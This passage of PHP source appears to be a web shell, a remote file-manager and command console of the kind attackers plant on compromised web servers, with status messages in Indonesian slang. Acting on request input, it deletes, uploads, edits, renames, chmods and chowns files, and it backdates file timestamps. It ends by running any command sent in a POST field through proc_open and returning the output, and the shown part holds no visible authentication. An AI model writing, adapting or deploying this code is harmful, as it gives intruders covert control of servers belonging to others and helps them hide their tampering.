$file, 'size' => $size, 'permissions' => $permissions, 'lastModified' => $lastModified, 'userGroup' => $userGroup, 'path' => $filePath, 'isDir' => is_dir($filePath), 'permissionClass' => $permissionClass ); } } closedir($dh); } } return $items; } // Handle file operations if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['action']) && isset($_POST['items'])) { $action = $_POST['action']; $items = $_POST['items']; switch ($action) { case 'delete': function deleteDirectory($dir) { if (!file_exists($dir)) { return true; } if (!is_dir($dir)) { return unlink($dir); } foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') { continue; } if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) { return false; } } return rmdir($dir); } foreach ($items as $item) { if (is_file($item)) { if (unlink($item)) { $message = 'File berhasil dicrot.'; } else { $message = 'Gagal ngecrot file.'; break; } } elseif (is_dir($item)) { if (deleteDirectory($item)) { $message = 'Direktori berhasil dicrot.'; } else { $message = 'Gagal ngecrot direktori.'; break; } } } break; case 'chmod': if (isset($_POST['permissions'])) { $permissions = $_POST['permissions']; if (preg_match('/^[0-7]{3,4}$/', $permissions)) { foreach ($items as $item) { if (file_exists($item)) { chmod($item, octdec($permissions)); } } $message = "Permissions diubah menjadi $permissions untuk item yang dicrot."; } else { $message = 'Format permission tidak crot.'; } } break; case 'rename': if (isset($_POST['new_name']) && count($items) === 1) { $oldName = $items[0]; $newName = dirname($oldName) . '/' . $_POST['new_name']; if (rename($oldName, $newName)) { $message = "Berhasil ngecrot nama."; } else { $message = "Gagal ngecrot nama."; } } break; case 'chown': if (isset($_POST['new_owner']) && function_exists('chown')) { $newOwner = $_POST['new_owner']; foreach ($items as $item) { if (chown($item, $newOwner)) { $message = "Kepemilikan berhasil dicrot."; } else { $message = "Gagal ngecrot kepemilikan."; } } } break; case 'touch': if (isset($_POST['new_time'])) { $newTime = strtotime($_POST['new_time']); if ($newTime !== false) { foreach ($items as $item) { if (touch($item, $newTime)) { $message = "Timestamp berhasil dicrot."; } else { $message = "Gagal ngecrot timestamp."; } } } else { $message = "Format tanggal/waktu tidak crot."; } } break; case 'zip': $zipName = 'archive_' . time() . '.zip'; $zip = new ZipArchive(); if ($zip->open($currentDir . '/' . $zipName, ZipArchive::CREATE) === TRUE) { foreach ($items as $item) { $relativePath = str_replace($currentDir . '/', '', $item); if (is_file($item)) { $zip->addFile($item, $relativePath); } elseif (is_dir($item)) { $zip->addEmptyDir($relativePath); $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($item)); foreach ($iterator as $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($currentDir) + 1); $zip->addFile($filePath, $relativePath); } } } } $zip->close(); $message = "File berhasil di-crot."; } else { $message = "Gagal membuat file crot."; } break; case 'unzip': foreach ($items as $item) { if (pathinfo($item, PATHINFO_EXTENSION) === 'zip') { $zip = new ZipArchive; if ($zip->open($item) === TRUE) { $zip->extractTo($currentDir); $zip->close(); $message = "File berhasil di-crot."; } else { $message = "Gagal meng-crot file."; } } } break; case 'download': if (count($items) === 1) { $file = $items[0]; if (is_file($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } else { $message = "Tidak dapat ngecrot direktori."; } } else { $message = "Pilih satu file untuk dicrot."; } break; } } // Handle file upload if (isset($_FILES['files'])) { $uploadedFiles = $_FILES['files']; $uploadSuccess = 0; $uploadFail = 0; foreach ($uploadedFiles['name'] as $key => $name) { if ($uploadedFiles['error'][$key] === UPLOAD_ERR_OK) { $tmpName = $uploadedFiles['tmp_name'][$key]; $destination = $currentDir . '/' . $name; if (move_uploaded_file($tmpName, $destination)) { $uploadSuccess++; } else { $uploadFail++; } } else { $uploadFail++; } } if ($uploadSuccess > 0) { $message = "$uploadSuccess file berhasil dicrot."; } if ($uploadFail > 0) { $message = "$uploadFail file gagal dicrot."; } } // Handle create file if (isset($_POST['new_file']) && !empty($_POST['new_file'])) { $newFile = $currentDir . '/' . $_POST['new_file']; if (!file_exists($newFile)) { if (touch($newFile)) { $message = "File baru berhasil dicrot."; } else { $message = "Gagal ngecrot file baru."; } } else { $message = "File dah ada."; } } // Handle create directory if (isset($_POST['new_dir']) && !empty($_POST['new_dir'])) { $newDir = $currentDir . '/' . $_POST['new_dir']; if (!file_exists($newDir)) { if (mkdir($newDir)) { $message = "Direktori baru berhasil dicrot."; } else { $message = "Gagal ngecrot direktori baru."; } } else { $message = "Direktori dah ada."; } } } // Handle file editing if (isset($_GET['edit'])) { $fileToEdit = $_GET['edit']; if (is_file($fileToEdit)) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save'])) { $content = $_POST['content']; file_put_contents($fileToEdit, $content); $message = "File berhasil dicrot."; } $content = file_get_contents($fileToEdit); } } // Toggle hidden files $showHidden = isset($_GET['show_hidden']) ? $_GET['show_hidden'] === '1' : false; // Get file list $files = listFiles($currentDir, $showHidden); // Handle command execution $commandOutput = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['command'])) { $command = $_POST['command']; $descriptorspec = array( 0 => array("pipe", "r"), // stdin 1 => array("pipe", "w"), // stdout 2 => array("pipe", "w") // stderr ); $process = proc_open($command, $descriptorspec, $pipes); if (is_resource($process)) { $commandOutput = stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($process); } } ?>
'; echo '